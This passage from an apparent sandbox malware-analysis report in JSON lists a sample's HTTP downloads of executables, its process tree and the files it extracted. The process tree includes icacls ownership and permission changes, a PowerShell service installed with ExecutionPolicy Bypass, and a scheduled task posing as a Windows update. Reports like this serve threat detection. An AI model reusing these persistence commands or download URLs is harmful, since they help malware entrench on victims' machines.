/files/2043702969/Ln9yol3.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"t.me","host_ip":"149.154.167.99:443","url":"/veldrombot","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /veldrombot HTTP/1.1\nConnection: Keep-Alive\nUser-Agent: gvfs/1.57.2\nHost: t.me","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/gop/random.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/gop/random.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"host":"158.94.208.7","host_ip":"158.94.208.7:80","url":"/files/5900855435/eNLe4nm.exe","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /files/5900855435/eNLe4nm.exe HTTP/1.1","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}],"processes":[{"pid":6292,"ppid":0,"name":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe","command_line":"","sha256":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee","normalized_path":"C:\\81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe","uid":"00000000-00006292","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":7236,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\servicehelper.exe\" /setowner \"SYSTEM\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00007236"},{"pid":5416,"ppid":7236,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\servicehelper.exe\" /setowner \"SYSTEM\"","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00007236","uid":"00000000-00005416"},{"pid":7196,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\servicehelper.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00007196"},{"pid":3260,"ppid":7196,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\servicehelper.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00007196","uid":"00000000-00003260"},{"pid":5600,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\servicehelper.exe\" /remove:d Everyone Administrators","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00005600"},{"pid":2336,"ppid":5600,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\servicehelper.exe\" /remove:d Everyone Administrators","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00005600","uid":"00000000-00002336"},{"pid":3852,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\windowsservice.exe\" /setowner \"SYSTEM\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00003852"},{"pid":7712,"ppid":3852,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\windowsservice.exe\" /setowner \"SYSTEM\"","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00003852","uid":"00000000-00007712"},{"pid":7740,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\windowsservice.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00007740"},{"pid":6616,"ppid":7740,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\windowsservice.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00007740","uid":"00000000-00006616"},{"pid":388,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\windowsservice.exe\" /remove:d Everyone Administrators","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00000388"},{"pid":7804,"ppid":388,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\windowsservice.exe\" /remove:d Everyone Administrators","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00000388","uid":"00000000-00007804"},{"pid":4888,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\systemhelper.exe\" /setowner \"SYSTEM\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00004888"},{"pid":4924,"ppid":4888,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\systemhelper.exe\" /setowner \"SYSTEM\"","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00004888","uid":"00000000-00004924"},{"pid":3916,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\systemhelper.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00003916"},{"pid":7632,"ppid":3916,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\systemhelper.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00003916","uid":"00000000-00007632"},{"pid":7516,"ppid":6292,"name":"cmd.exe","command_line":"/c icacls \"%TEMP%\\systemhelper.exe\" /remove:d Everyone Administrators","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00007516"},{"pid":7468,"ppid":7516,"name":"icacls.exe","command_line":"icacls \"%TEMP%\\systemhelper.exe\" /remove:d Everyone Administrators","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00007516","uid":"00000000-00007468"},{"pid":8156,"ppid":6292,"name":"cmd.exe","command_line":"/c powershell -ExecutionPolicy Bypass -Command \"New-Service -Name \"DownloaderService\" -BinaryPathName \"C:\\81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe\" -StartupType Automatic\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00008156"},{"pid":1540,"ppid":8156,"name":"powershell.exe","command_line":"powershell -ExecutionPolicy Bypass -Command \"New-Service -Name \"DownloaderService\" -BinaryPathName \"C:\\81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe\" -StartupType Automatic\"","sha256":"67715009a6373acc7c2bb491d93c3eddd3d0f989c4c2fb60618e056898e60e49","normalized_path":"%WINDIR%\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00008156","uid":"00000000-00001540"},{"pid":1132,"ppid":6292,"name":"cmd.exe","command_line":"/c net start \"DownloaderService\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00001132"},{"pid":5316,"ppid":1132,"name":"net.exe","command_line":"net start \"DownloaderService\"","sha256":"08f791037fd70209fd599c4f35088a7332dadfa6be92d073c243c5cc79fefe66","normalized_path":"%WINDIR%\\SysWOW64\\net.exe","parent_uid":"00000000-00001132","uid":"00000000-00005316"},{"pid":3604,"ppid":5316,"name":"net1.exe","command_line":"%WINDIR%\\system32\\net1 start \"DownloaderService\"","sha256":"524061b58841210842f52b7863e51953fcff343b8c2ff46dfe9c8329bb439d46","normalized_path":"%WINDIR%\\SysWOW64\\net1.exe","parent_uid":"00000000-00005316","uid":"00000000-00003604"},{"pid":7380,"ppid":6292,"name":"cmd.exe","command_line":"/c schtasks /create /tn \"WindowsUpdateAssistant\" /xml \"%TEMP%\\WindowsUpdateAssistant.xml\" /f","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00007380"},{"pid":6696,"ppid":7380,"name":"schtasks.exe","command_line":"schtasks /create /tn \"WindowsUpdateAssistant\" /xml \"%TEMP%\\WindowsUpdateAssistant.xml\" /f","sha256":"42661ab5aa20d0973113e10c53b988cab16e9f7ffe91c70ca69bb65d4eeb6fb8","normalized_path":"%WINDIR%\\SysWOW64\\schtasks.exe","parent_uid":"00000000-00007380","uid":"00000000-00006696"},{"pid":2392,"ppid":6292,"name":"cmd.exe","command_line":"/c start \"\" \"%TEMP%\\servicehelper.exe\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00002392"},{"pid":5464,"ppid":2392,"name":"servicehelper.exe","command_line":"","sha256":"e9a69ea6f50295ae2d2b4bce02f1658caa5476733c8e6a57eead01bda1e8c0c5","normalized_path":"%TEMP%\\servicehelper.exe","parent_uid":"00000000-00002392","uid":"00000000-00005464"},{"pid":4324,"ppid":6292,"name":"cmd.exe","command_line":"/c start \"\" \"%TEMP%\\windowsservice.exe\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00004324"},{"pid":4428,"ppid":4324,"name":"windowsservice.exe","command_line":"","sha256":"684c240f52dd4549297fb91e91685d70f5eb2c5643deeebcda2681cb232e5466","normalized_path":"%TEMP%\\windowsservice.exe","parent_uid":"00000000-00004324","uid":"00000000-00004428"},{"pid":6340,"ppid":4428,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c \"\"%TEMP%\\cGMgirpxv.bat\" \"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00004428","uid":"00000000-00006340"},{"pid":7920,"ppid":6340,"name":"nircmd.exe","command_line":"nircmd win min process \"cmd.exe\"","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","normalized_path":"%TEMP%\\saked\\nircmd.exe","parent_uid":"00000000-00006340","uid":"00000000-00007920"},{"pid":4556,"ppid":6340,"name":"chcp.com","command_line":"chcp 65001","sha256":"9465ac026770dd4bf54193f02dec5fbf874af69aa690301c4c7ffa686c0f896a","normalized_path":"%WINDIR%\\SysWOW64\\chcp.com","parent_uid":"00000000-00006340","uid":"00000000-00004556"},{"pid":4764,"ppid":6340,"name":"reg.exe","command_line":"reg query \"HKU\\S-1-5-19\"","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00006340","uid":"00000000-00004764"},{"pid":5324,"ppid":6340,"name":"reg.exe","command_line":"reg add \"HKU\\S-1-5-18\\Software\\Microsoft\\Windows\\CurrentVersion\\Themes\\Personalize\" /v \"AppsUseLightTheme\" /t reg_dword /d 0 /f","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00006340","uid":"00000000-00005324"},{"pid":4700,"ppid":6340,"name":"mode.com","command_line":"Mode 79,49","sha256":"ed1699ab31e583479695ea4031251b28bac697fe5a75c470c44dc917e7445cc8","normalized_path":"%WINDIR%\\SysWOW64\\mode.com","parent_uid":"00000000-00006340","uid":"00000000-00004700"},{"pid":6088,"ppid":6340,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c ver","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006340","uid":"00000000-00006088"},{"pid":6420,"ppid":6340,"name":"reg.exe","command_line":"reg query \"HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" /v \"EnableLUA\"","sha256":"405a70c2b6081e6fed2a4bab7b0c233fff022acbbb3d2cc92cb8876d052db9e4","normalized_path":"%WINDIR%\\SysWOW64\\reg.exe","parent_uid":"00000000-00006340","uid":"00000000-00006420"},{"pid":4824,"ppid":6340,"name":"find.exe","command_line":"find /i \"0x0\"","sha256":"6b78ed0bb79eafbfcac09d9a7bdc61657b1ea0e04d3b7e19411fd21426171b89","normalized_path":"%WINDIR%\\SysWOW64\\find.exe","parent_uid":"00000000-00006340","uid":"00000000-00004824"},{"pid":4340,"ppid":6340,"name":"cmd.exe","command_line":"%WINDIR%\\system32\\cmd.exe /c tasklist","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006340","uid":"00000000-00004340"},{"pid":7816,"ppid":4340,"name":"tasklist.exe","command_line":"","sha256":"cc87ad2c2a96507d33a0a7e09f1e42d19c7e2aa26a4071a4d8e9dd096ebcf33e","normalized_path":"%WINDIR%\\SysWOW64\\tasklist.exe","parent_uid":"00000000-00004340","uid":"00000000-00007816"},{"pid":4672,"ppid":6292,"name":"cmd.exe","command_line":"/c start \"\" \"%TEMP%\\systemhelper.exe\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00006292","uid":"00000000-00004672"},{"pid":6816,"ppid":4672,"name":"systemhelper.exe","command_line":"","sha256":"c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45","normalized_path":"%TEMP%\\systemhelper.exe","parent_uid":"00000000-00004672","uid":"00000000-00006816"},{"pid":7932,"ppid":6816,"name":"Y9lcbSi.exe","command_line":"","sha256":"5caf5d53f72b909bff50e5f959db0252a623c1d0737b306f34e1ffafdd86f10b","normalized_path":"%TEMP%\\12333590101\\Y9lcbSi.exe","parent_uid":"00000000-00006816","uid":"00000000-00007932"},{"pid":892,"ppid":6816,"name":"S6xWuZ1.exe","command_line":"","sha256":"1d1b9aad90fdb8eac8bcfeb7c34127bcd9f813242b9f72ffa91c5b00dd570fcf","normalized_path":"%TEMP%\\12333800101\\S6xWuZ1.exe","parent_uid":"00000000-00006816","uid":"00000000-00000892"},{"pid":3024,"ppid":0,"name":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe","command_line":"","sha256":"81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee","normalized_path":"C:\\81ddacc1d4689616b993f34465cb372e6046c035b45a4831343bd55ed37d48ee.bin.exe","uid":"00000000-00003024","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="},{"pid":6520,"ppid":3024,"name":"cmd.exe","command_line":"/c icacls \"%WINDIR%\\TEMP\\windowsservice.exe\" /setowner \"SYSTEM\"","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003024","uid":"00000000-00006520"},{"pid":7100,"ppid":6520,"name":"icacls.exe","command_line":"icacls \"%WINDIR%\\TEMP\\windowsservice.exe\" /setowner \"SYSTEM\"","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00006520","uid":"00000000-00007100"},{"pid":7332,"ppid":3024,"name":"cmd.exe","command_line":"/c icacls \"%WINDIR%\\TEMP\\windowsservice.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003024","uid":"00000000-00007332"},{"pid":6668,"ppid":7332,"name":"icacls.exe","command_line":"icacls \"%WINDIR%\\TEMP\\windowsservice.exe\" /inheritance:r /grant SYSTEM:F /grant Everyone:RX","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00007332","uid":"00000000-00006668"},{"pid":4724,"ppid":3024,"name":"cmd.exe","command_line":"/c icacls \"%WINDIR%\\TEMP\\windowsservice.exe\" /remove:d Everyone Administrators","sha256":"4c3ea4c44aab74350355c419826b8c9e6172c3bd8f0bb5817ecf7be50b629051","normalized_path":"%WINDIR%\\SysWOW64\\cmd.exe","parent_uid":"00000000-00003024","uid":"00000000-00004724"},{"pid":7784,"ppid":4724,"name":"icacls.exe","command_line":"icacls \"%WINDIR%\\TEMP\\windowsservice.exe\" /remove:d Everyone Administrators","sha256":"b027bc868d5c167804b33d0ccefcef0753d49eb2fb57f21f43e3fbb08d327e2e","normalized_path":"%WINDIR%\\SysWOW64\\icacls.exe","parent_uid":"00000000-00004724","uid":"00000000-00007784"},{"pid":1900,"ppid":3024,"name":"windowsservice.exe","command_line":"","sha256":"e9a69ea6f50295ae2d2b4bce02f1658caa5476733c8e6a57eead01bda1e8c0c5","normalized_path":"%WINDIR%\\TEMP\\windowsservice.exe","parent_uid":"00000000-00003024","uid":"00000000-00001900"},{"pid":7880,"ppid":0,"name":"servicehelper.exe","command_line":"","sha256":"e9a69ea6f50295ae2d2b4bce02f1658caa5476733c8e6a57eead01bda1e8c0c5","normalized_path":"%TEMP%\\servicehelper.exe","uid":"00000000-00007880","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABH0lEQVR4Xu2UXWrCQBCAQymICEUQz2qxLVTUB8HnwoKnkdIr1OQAOUD+k5eREdYuQ2YzWZJQMAMfvuX7Zgf0vHHG+S+zPxxhSKi/t4Dz90/tL/XfAsIwHAQ2oKqqXijL8k5RFHwALUXwA97qV0yTvDHgS53umAHLXQCLbQDzTQAvnz7MPnyYvvswebvA8/oCT69/AUopljzP7QEUHSCRmy9QtznKnQMk8k5egDuBRI7YNkeyLLMHUHSARK4D6NYmzgESuQ7gNtdYA7gTSOQIiunWJmma2gMoOkAi1wHc5ih3DpDIEZTSrVu9AHcCKbbNkSRJ7AEUl4C6rbW89wDb5oMGcPI4jtsHNP23N93clDsFdCmPoogPGBLqH2ecx50rVs0alvIcXXoAAAAASUVORK5CYII="}],"all_imported_dlls":["bcrypt.dll","propsys.dll","winsta.dll","msasn1.dll","logoncli.dll","wininet.dll","ureg.dll","winhttp.dll","FWPUCLNT.DLL","KernelBase.dll","win32u.dll","oleaut32.dll","version.dll","System.Configuration.ni.dll","cryptsp.dll","imagehlp.dll","pwrshsip.dll","dsrole.dll","aepic.dll","slc.dll","System.Configuration.Install.dll","VxSSL64.dll","ntasn1.dll","usp10.dll","shlwapi.dll","mscoreei.dll","shell32.dll","urlmon.dll","dnsapi.dll","kernel.appcore.dll","clr.dll","System.ni.dll","System.ServiceProcess.dll","SHCore.dll","dpapi.dll","CoreUIComponents.dll","wow64win.dll","gdi32.dll","advapi32.dll","cfgmgr32.dll","secur32.dll","wldp.dll","rasadhlp.dll","tiptsf.dll","rpcrt4.dll","ole32.dll","imm32.dll","Microsoft.PowerShell.Security.dll","GdiPlus.dll","comctl32.dll","RstrtMgr.dll","fltLib.dll","AppxSip.dll","mskeyprotect.dll","powrprof.dll","cmdext.dll","sechost.dll","gdi32full.dll","vcruntime140_clr0400.dll","System.Xml.ni.dll","iertutil.dll","ncrypt.dll","cldapi.dll","wow64.dll","Microsoft.PowerShell.ConsoleHost.dll","rsaenh.dll","System.Core.ni.dll","wintrust.dll","System.Management.dll","System.Transactions.dll","netutils.dll","System.Numerics.dll","riched20.dll","msls31.dll","WindowsCodecs.dll","CoreMessaging.dll","setupapi.dll","kernel32.dll","userenv.dll","IPHLPAPI.DLL","srvcli.dll","ncryptsslp.dll","dwmapi.dll","TextInputFramework.dll","fsutilext.dll","VxSSL32.dll","bcryptprimitives.dll","System.DirectoryServices.dll","wshext.dll","msIso.dll","schannel.dll","OnDemandConnRouteHelper.dll","msvcp_win.dll","clrjit.dll","System.Management.Automation.dll","Microsoft.Management.Infrastructure.ni.dll","System.Windows.Forms.dll","samcli.dll","ws2_32.dll","psapi.dll","mscorlib.ni.dll","xmllite.dll","Windows.StateRepositoryPS.dll","taskschd.dll","sspicli.dll","MpClient.dll","sppc.dll","coml2.dll","dbghelp.dll","crypt32.dll","uxtheme.dll","OpcServices.dll","sfc_os.dll","cryptbase.dll","profapi.dll","MpOAV.dll","mswsock.dll","pcacli.dll","wow64cpu.dll","9NO6Jd4W.dll","gpapi.dll","WinTypes.dll","apphelp.dll","ucrtbase.dll","msisip.dll","cryptnet.dll","mpr.dll","ntdll.dll","combase.dll","ucrtbase_clr0400.dll","framedynos.dll","msvcrt.dll","windows.storage.dll","edputil.dll","clbcatq.dll","atl.dll","nsi.dll","winmm.dll","ulib.dll","amsi.dll","System.Data.dll","Microsoft.PowerShell.Commands.Management.dll","wkscli.dll","msctf.dll","user32.dll","mscoree.dll","ntmarta.dll","winnsi.dll","wtsapi32.dll","winmmbase.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Y9lcbSi.exe","sha256":"5caf5d53f72b909bff50e5f959db0252a623c1d0737b306f34e1ffafdd86f10b","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Nb2YOyu.exe","sha256":"4257e836bc6a87e4b17724c157ba8f14646c7816aa5834e6ff6d84f6686ca556","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"NSudoLG.exe","sha256":"5094ad359d8cf6dc5324598605c35f68519cc5af9c7ed5427e02a6b28121e4c7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"cecho.exe","sha256":"5c1211559dda10592cfedd57681f18f4a702410816d36eda95aee6c74e3c6a47","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"nircmd.exe","sha256":"2e81e048ab419fdc6e5f4336a951bd282ed6b740048dc38d7673678ee3490cda","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"servicehelper.exe","sha256":"e9a69ea6f50295ae2d2b4bce02f1658caa5476733c8e6a57eead01bda1e8c0c5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"systemhelper.exe","sha256":"c36ed034d523da1f54d43176334d4bda9f9adcb940948646b43902a620ebda45","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"windowsservice.exe","sha256":"684c240f52dd4549297fb91e91685d70f5eb2c5643deeebcda2681cb232e5466","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"DAIs3ZV.exe","sha256":"cc0b07b2248ddc4b0971735e402983b65158a2df7f66677c23b1f3734907c222","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"S6xWuZ1.exe","sha256":"fd5072501552a57dd8ce2e660df348cd422ebdf6bf05d2d9768fa4f9552f88de","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"7GKCAjW_1_.exe","sha256":"407dc13883ac98457cadcda39e0541d28a5ae3a4f4dbb5d1284cb8636a6ac108","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"eNLe4nm.exe","sha256":"af441c0683f07249f0a9a6e88aff3dd58e8c7597624a2719aa553464f8aaa960","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"random_1_.exe","sha256":"c4ad2d2df36d58cd27d9d0525aa82b8ab46c9f1d453db1e4d032cbfe9a489106","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"cGMgirpxv.bat","sha256":"7068895b72ac6367a5e3530cffd7624f11daa3c7dd1ee47c1b89fba6cc25c722","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"7z.exe","sha256":"cf878bfbd9ed93dc551ac038aff8a8bba4c935ddf8d48e62122bddfdb3e08567","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Ln9yol3_1_.exe","sha256":"6b5958033363692844ba1374e3ed89daad416ffe7495a326ca59a70d99a24973","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"VGAGvKd.msi","sha256":"1480dabe89af53f798ac93d4606d37ad8a1e6938dc054460ed4d8548f5e18d70","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"yankee_agent78.ps1","sha256":"3c9be2f3981c57d9ad05be1467be4523bc419f4073f2670b5e7a8ef1f2e47e7a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"Foxtrot_system63.vbs","sha256":"d704756150812f4c6f259aa92b96d3ec9099e4167ff7d52d37d51f0ae9e2453d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"69b9192c2fbdfb11c5071884"}]},{"name":"WindowsUpdateAssistant.xml","sha256":"47f3e1ad15038